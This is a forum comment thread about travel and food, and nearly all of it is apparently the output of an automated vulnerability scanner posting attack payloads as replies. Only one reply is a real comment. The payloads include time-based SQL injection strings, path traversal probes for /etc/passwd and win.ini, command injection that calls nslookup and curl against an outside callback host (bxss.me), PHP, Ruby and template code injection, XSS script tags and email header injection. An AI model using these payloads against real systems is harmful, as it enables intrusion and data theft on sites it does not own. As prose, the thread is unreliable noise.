*1
re: Wanderlusting
-1 OR 5*5=25 --
re: Wanderlusting
-1 OR 5*5=26 --
re: Wanderlusting
-1 OR 5*5=25
re: Wanderlusting
-1 OR 5*5=26
re: Wanderlusting
*if(now()=sysdate(),sleep(15),0)
re: Wanderlusting
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Wanderlusting
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Wanderlusting
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Wanderlusting
-1; waitfor delay '0:0:15' --
re: Wanderlusting
-1); waitfor delay '0:0:15' --
re: Wanderlusting
-1 waitfor delay '0:0:15' --
re: Wanderlusting
O2lCJ019'; waitfor delay '0:0:15' --
re: Wanderlusting
-1 OR 928=(SELECT 928 FROM PG_SLEEP(15))--
re: Wanderlusting
-1) OR 831=(SELECT 831 FROM PG_SLEEP(15))--
re: Wanderlusting
-1)) OR 939=(SELECT 939 FROM PG_SLEEP(15))--
re: Wanderlusting
q2r75HR8' OR 987=(SELECT 987 FROM PG_SLEEP(15))--
re: Wanderlusting
VXzpyIfV') OR 442=(SELECT 442 FROM PG_SLEEP(15))--
re: Wanderlusting
IGC4varx')) OR 367=(SELECT 367 FROM PG_SLEEP(15))--
re: Wanderlusting
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Wanderlusting
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Wanderlusting
'||(select 1 from (select pg_sleep(15))x)||'
re: Wanderlusting
''||(select 1 from (select pg_sleep(15))x)||''
re: Wanderlusting
'"
re: Wanderlusting
@@Gs4E1
re: Wanderlusting
(select 198766*667891)
re: Wanderlusting
(select 198766*667891 from DUAL)
re: Wanderlusting
uMB3pbxV
re: Wanderlusting
1*
re: Wanderlusting
1*
re: Wanderlusting
1*
re: Wanderlusting
1*
re: Wanderlusting
-1 OR 2+845-845-1=0+0+0+1
re: Wanderlusting
-1 OR 3+845-845-1=0+0+0+1
re: Wanderlusting
if(now()=sysdate(),sleep(15),0)
re: Wanderlusting
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Wanderlusting
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Wanderlusting
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Wanderlusting
-1; waitfor delay '0:0:15' --
re: Wanderlusting
-1); waitfor delay '0:0:15' --
re: Wanderlusting
1 waitfor delay '0:0:15' --
re: Wanderlusting
wOJlrvbs'; waitfor delay '0:0:15' --
re: Wanderlusting
-5 OR 823=(SELECT 823 FROM PG_SLEEP(15))--
re: Wanderlusting
-5) OR 139=(SELECT 139 FROM PG_SLEEP(15))--
re: Wanderlusting
-1)) OR 59=(SELECT 59 FROM PG_SLEEP(15))--
re: Wanderlusting
MVsu8TYa' OR 753=(SELECT 753 FROM PG_SLEEP(15))--
re: Wanderlusting
SDKNdHBK') OR 462=(SELECT 462 FROM PG_SLEEP(15))--
re: Wanderlusting
ZIkuAtqr')) OR 386=(SELECT 386 FROM PG_SLEEP(15))--
re: Wanderlusting
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Wanderlusting
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Wanderlusting
'||(select 1 from (select pg_sleep(15))x)||'
re: Wanderlusting
''||(select 1 from (select pg_sleep(15))x)||''
re: Wanderlusting
1'"
re: Wanderlusting
@@gVBa3
A new list (not by the same author) was posted recently https://www.luxeat.com/blog/9-easy-to-book-sushi-yas-in-tokyo-by-nigiri-paris/
re: magiquonnu
1BhveAPE6zO
re: magiquonnu
<esi:include src="http://bxss.me/rpb.png"/>
re: magiquonnu
%0abcc:074625.67-22079.67.8182b.19990.2@bxss.me
re: magiquonnu
${9999373+9999089}
re: magiquonnu
response.write(9885492*9627640)
re: magiquonnu
to@example.com>%0d%0abcc:074625.67-22080.67.8182b.19990.2@bxss.me
re: magiquonnu
'+response.write(9885492*9627640)+'
re: magiquonnu
"+response.write(9885492*9627640)+"
re: magiquonnu
../../../../../../../../../../../../../../etc/passwd
re: magiquonnu
../../../../../../../../../../../../../../windows/win.ini
re: magiquonnu
file:///etc/passwd
re: magiquonnu
)
re: magiquonnu
'.gethostbyname(lc('hitcf'.'tcjqwvace654c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(73).chr(102).chr(65).'
re: magiquonnu
../../../../../../../../../../../../../../../proc/version
re: magiquonnu
!(()&&!|*|*|
re: magiquonnu
".gethostbyname(lc("hittz"."pmhvshih2f11b.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(89).chr(108).chr(70)."
re: magiquonnu
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: magiquonnu
^(#$!@#$)(()))******
re: magiquonnu
../../../../../../../../../../etc/passwd%00.jpg
re: magiquonnu
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: magiquonnu
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: magiquonnu
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: magiquonnu
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: magiquonnu
HttP://bxss.me/t/xss.html?%00
re: magiquonnu
"+"A".concat(70-3).concat(22*4).concat(111).concat(66).concat(108).concat(79)+(require"socket"
Socket.gethostbyname("hitpg"+"ttzgxpqb34d16.bxss.me.")[3].to_s)+"
re: magiquonnu
/etc/passwd
re: magiquonnu
bxss.me/t/xss.html?%00
re: magiquonnu
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: magiquonnu
'+'A'.concat(70-3).concat(22*4).concat(103).concat(72).concat(119).concat(73)+(require'socket'
Socket.gethostbyname('hitij'+'ksxfyxaw5f68d.bxss.me.')[3].to_s)+'
re: magiquonnu
echo wyisnq$()\ fbnxmp\nz^xyu||a #' &echo wyisnq$()\ fbnxmp\nz^xyu||a #|" &echo wyisnq$()\ fbnxmp\nz^xyu||a #
re: magiquonnu
%2fetc%2fpasswd
re: magiquonnu
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: magiquonnu
&echo sasbww$()\ efaclr\nz^xyu||a #' &echo sasbww$()\ efaclr\nz^xyu||a #|" &echo sasbww$()\ efaclr\nz^xyu||a #
re: magiquonnu
/.././.././.././.././.././.././.././../etc/./passwd%00
re: magiquonnu
Http://bxss.me/t/fit.txt
re: magiquonnu
|echo qjjfoc$()\ izhxet\nz^xyu||a #' |echo qjjfoc$()\ izhxet\nz^xyu||a #|" |echo qjjfoc$()\ izhxet\nz^xyu||a #
re: magiquonnu
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: magiquonnu
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: magiquonnu
http://bxss.me/t/fit.txt%3F.jpg
re: magiquonnu
'"
re: magiquonnu
(nslookup hitwcwhwqqzzz4a6de.bxss.me||perl -e "gethostbyname('hitwcwhwqqzzz4a6de.bxss.me')")
re: magiquonnu
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: magiquonnu
';print(md5(31337));$a='
re: magiquonnu
/etc/shells
re: magiquonnu
<!--
re: magiquonnu
$(nslookup hitagpuqpxbkl625da.bxss.me||perl -e "gethostbyname('hitagpuqpxbkl625da.bxss.me')")
re: magiquonnu
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: magiquonnu
";print(md5(31337));$a="
re: magiquonnu
c:/windows/win.ini
re: magiquonnu
&nslookup hitmdickeqzsfd6e17.bxss.me&'\"`0&nslookup hitmdickeqzsfd6e17.bxss.me&`'
re: magiquonnu
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: magiquonnu
${@print(md5(31337))}
re: magiquonnu
bxss.me
re: magiquonnu
&(nslookup hitavbsvavksaaa024.bxss.me||perl -e "gethostbyname('hitavbsvavksaaa024.bxss.me')")&'\"`0&(nslookup hitavbsvavksaaa024.bxss.me||perl -e "gethostbyname('hitavbsvavksaaa024.bxss.me')")&`'
re: magiquonnu
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: magiquonnu
${@print(md5(31337))}\
re: magiquonnu
|(nslookup hithekzhzgkzm50ead.bxss.me||perl -e "gethostbyname('hithekzhzgkzm50ead.bxss.me')")
re: magiquonnu
file:///etc/passwd
re: magiquonnu
'.print(md5(31337)).'
re: magiquonnu
`(nslookup hitcptvrsdoulbbaff.bxss.me||perl -e "gethostbyname('hitcptvrsdoulbbaff.bxss.me')")`
re: magiquonnu
/\../\../\../\../\../\../\../etc/passwd
re: magiquonnu
;(nslookup hitoplruogtsgfc035.bxss.me||perl -e "gethostbyname('hitoplruogtsgfc035.bxss.me')")|(nslookup hitoplruogtsgfc035.bxss.me||perl -e "gethostbyname('hitoplruogtsgfc035.bxss.me')")&(nslookup hitoplruogtsgfc035.bxss.me||perl -e "gethostbyname('hitoplruogtsgfc035.bxss.me')")
re: magiquonnu
/WEB-INF/web.xml
re: magiquonnu
C:\WINDOWS\system32\drivers\etc\hosts
re: magiquonnu
../../../../../../../../../../windows/win.ini%00.jpg
re: magiquonnu
/../../../../../../../../../../boot.ini
re: magiquonnu
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: magiquonnu
..\..\..\..\..\..\..\..\windows\win.ini
re: magiquonnu
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: magiquonnu
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: magiquonnu
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: magiquonnu
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: magiquonnu
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: magiquonnu
WEB-INF/web.xml
re: magiquonnu
WEB-INF\web.xml
re: magiquonnu
1
re: magiquonnu
1
re: magiquonnu
-1 OR 2+275-275-1=0+0+0+1 --
re: magiquonnu
-1 OR 3+275-275-1=0+0+0+1 --
re: magiquonnu
-1 OR 2+260-260-1=0+0+0+1
re: magiquonnu
-1 OR 3+260-260-1=0+0+0+1
re: magiquonnu
-1' OR 2+487-487-1=0+0+0+1 --
re: magiquonnu
-1' OR 3+487-487-1=0+0+0+1 --
re: magiquonnu
-1' OR 2+144-144-1=0+0+0+1 or 'JLlZdwPQ'='
re: magiquonnu
-1' OR 3+144-144-1=0+0+0+1 or 'JLlZdwPQ'='
re: magiquonnu
-1" OR 2+571-571-1=0+0+0+1 --
re: magiquonnu
-1" OR 3+571-571-1=0+0+0+1 --
re: magiquonnu
if(now()=sysdate(),sleep(15),0)
re: magiquonnu
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: magiquonnu
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: magiquonnu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: magiquonnu
-1; waitfor delay '0:0:15' --
re: magiquonnu
-1); waitfor delay '0:0:15' --
re: magiquonnu
1 waitfor delay '0:0:15' --
re: magiquonnu
Z6No7M6X'; waitfor delay '0:0:15' --
re: magiquonnu
-5 OR 185=(SELECT 185 FROM PG_SLEEP(15))--
re: magiquonnu
-5) OR 212=(SELECT 212 FROM PG_SLEEP(15))--
re: magiquonnu
-1)) OR 132=(SELECT 132 FROM PG_SLEEP(15))--
re: magiquonnu
OV1OeYCR' OR 68=(SELECT 68 FROM PG_SLEEP(15))--
re: magiquonnu
QtpfF6as') OR 327=(SELECT 327 FROM PG_SLEEP(15))--
re: magiquonnu
w6SHbpwo')) OR 404=(SELECT 404 FROM PG_SLEEP(15))--
re: magiquonnu
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: magiquonnu
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: magiquonnu
'||(select 1 from (select pg_sleep(15))x)||'
re: magiquonnu
''||(select 1 from (select pg_sleep(15))x)||''
re: magiquonnu
1'"
re: magiquonnu
@@wyywj
re: magiquonnu
1SLGSV3B30
re: magiquonnu
response.write(9040405*9870180)
re: magiquonnu
'+response.write(9040405*9870180)+'
re: magiquonnu
"+response.write(9040405*9870180)+"
re: magiquonnu
../../../../../../../../../../../../../../etc/passwd
re: magiquonnu
../../../../../../../../../../../../../../windows/win.ini
re: magiquonnu
file:///etc/passwd
re: magiquonnu
<esi:include src="http://bxss.me/rpb.png"/>
re: magiquonnu
${10000433+9999891}
re: magiquonnu
../
re: magiquonnu
)
re: magiquonnu
redirtest.acx
re: magiquonnu
!(()&&!|*|*|
re: magiquonnu
^(#$!@#$)(()))******
re: magiquonnu
echo plefwt$()\ xebusm\nz^xyu||a #' &echo plefwt$()\ xebusm\nz^xyu||a #|" &echo plefwt$()\ xebusm\nz^xyu||a #
re: magiquonnu
&echo mhzste$()\ hwschj\nz^xyu||a #' &echo mhzste$()\ hwschj\nz^xyu||a #|" &echo mhzste$()\ hwschj\nz^xyu||a #
re: magiquonnu
|echo buaonr$()\ xisqdm\nz^xyu||a #' |echo buaonr$()\ xisqdm\nz^xyu||a #|" |echo buaonr$()\ xisqdm\nz^xyu||a #
re: magiquonnu
'.gethostbyname(lc('hitte'.'omxwbshbeed76.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(83).chr(99).chr(83).'
re: magiquonnu
ctime
sleep
p0
(I30
tp1
Rp2
.
re: magiquonnu
expr 9000565900 - 928934
re: magiquonnu
".gethostbyname(lc("hitke"."pbippyho9c1de.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(83).chr(98).chr(66)."
re: magiquonnu
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: magiquonnu
(nslookup -q=cname hitekhrwcthlm3a09d.bxss.me||curl hitekhrwcthlm3a09d.bxss.me))
re: magiquonnu
gethostbyname(lc('hitmh'.'txtkjccw925ed.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(67).chr(122).chr(89)
re: magiquonnu
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: magiquonnu
$(nslookup -q=cname hitzwspepodbq64519.bxss.me||curl hitzwspepodbq64519.bxss.me)
re: magiquonnu
/etc/shells
re: magiquonnu
&nslookup -q=cname hitlifqfpcgnq53b5b.bxss.me&'\"`0&nslookup -q=cname hitlifqfpcgnq53b5b.bxss.me&`'
re: magiquonnu
../../../../../../../../../../../../../../etc/shells
re: magiquonnu
&(nslookup -q=cname hitvcccaeywor9d63c.bxss.me||curl hitvcccaeywor9d63c.bxss.me)&'\"`0&(nslookup -q=cname hitvcccaeywor9d63c.bxss.me||curl hitvcccaeywor9d63c.bxss.me)&`'
re: magiquonnu
c:/windows/win.ini
re: magiquonnu
|(nslookup -q=cname hitgprgkanlkj1f7ff.bxss.me||curl hitgprgkanlkj1f7ff.bxss.me)
re: magiquonnu
bxss.me
re: magiquonnu
`(nslookup -q=cname hitgywcsonvgu07790.bxss.me||curl hitgywcsonvgu07790.bxss.me)`
re: magiquonnu
Http://bxss.me/t/fit.txt
re: magiquonnu
;(nslookup -q=cname hitaedvnkcqlz3dfd6.bxss.me||curl hitaedvnkcqlz3dfd6.bxss.me)|(nslookup -q=cname hitaedvnkcqlz3dfd6.bxss.me||curl hitaedvnkcqlz3dfd6.bxss.me)&(nslookup -q=cname hitaedvnkcqlz3dfd6.bxss.me||curl hitaedvnkcqlz3dfd6.bxss.me)
re: magiquonnu
http://bxss.me/t/fit.txt?.jpg
re: magiquonnu
|(nslookup${IFS}-q${IFS}cname${IFS}hitbabdmewwvse90f7.bxss.me||curl${IFS}hitbabdmewwvse90f7.bxss.me)
re: magiquonnu
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: magiquonnu
HttP://bxss.me/t/xss.html?%00
re: magiquonnu
&(nslookup${IFS}-q${IFS}cname${IFS}hitemnpjqztpy46175.bxss.me||curl${IFS}hitemnpjqztpy46175.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitemnpjqztpy46175.bxss.me||curl${IFS}hitemnpjqztpy46175.bxss.me)&`'
re: magiquonnu
';print(md5(31337));$a='
re: magiquonnu
bxss.me/t/xss.html?%00
re: magiquonnu
";print(md5(31337));$a="
re: magiquonnu
${@print(md5(31337))}
re: magiquonnu
${@print(md5(31337))}\
re: magiquonnu
'.print(md5(31337)).'
re: magiquonnu
'"()
re: magiquonnu
"+"A".concat(70-3).concat(22*4).concat(110).concat(86).concat(112).concat(78)+(require"socket"
Socket.gethostbyname("hitlo"+"xmthkmxq68082.bxss.me.")[3].to_s)+"
re: magiquonnu
'&&sleep(27*1000)*grvzfx&&'
re: magiquonnu
'+'A'.concat(70-3).concat(22*4).concat(108).concat(83).concat(122).concat(72)+(require'socket'
Socket.gethostbyname('hitmv'+'nholqdgdd5b07.bxss.me.')[3].to_s)+'
re: magiquonnu
"&&sleep(27*1000)*vlaugz&&"
re: magiquonnu
'A'.concat(70-3).concat(22*4).concat(110).concat(77).concat(116).concat(87)+(require'socket'
Socket.gethostbyname('hitiw'+'vknlnmgx77a6b.bxss.me.')[3].to_s)
re: magiquonnu
'||sleep(27*1000)*ejrfqc||'
re: magiquonnu
"||sleep(27*1000)*oskvma||"
re: magiquonnu
replies
re: magiquonnu
replies
re: magiquonnu
'"
re: magiquonnu
replies/.
re: magiquonnu
<!--
re: magiquonnu
'"()&%<zzz><ScRiPt >a56s(9882)</ScRiPt>
re: magiquonnu
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitxxfiqoigps0d2aa.bxss.me")}}
re: magiquonnu
'"()&%<zzz><ScRiPt >a56s(9713)</ScRiPt>
re: magiquonnu
9951477
re: magiquonnu
FqEvTYrj
re: magiquonnu
*1
re: magiquonnu
*1
re: magiquonnu
*1
re: magiquonnu
*1
re: magiquonnu
-1 OR 5*5=25 --
re: magiquonnu
-1 OR 5*5=26 --
re: magiquonnu
-1 OR 5*5=25
re: magiquonnu
-1 OR 5*5=26
re: magiquonnu
*if(now()=sysdate(),sleep(15),0)
re: magiquonnu
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: magiquonnu
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: magiquonnu
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: magiquonnu
-1; waitfor delay '0:0:15' --
re: magiquonnu
-1); waitfor delay '0:0:15' --
re: magiquonnu
-1 waitfor delay '0:0:15' --
re: magiquonnu
IV6m7k2Z'; waitfor delay '0:0:15' --
re: magiquonnu
-1 OR 85=(SELECT 85 FROM PG_SLEEP(15))--
re: magiquonnu
-1) OR 792=(SELECT 792 FROM PG_SLEEP(15))--
re: magiquonnu
-1)) OR 371=(SELECT 371 FROM PG_SLEEP(15))--
re: magiquonnu
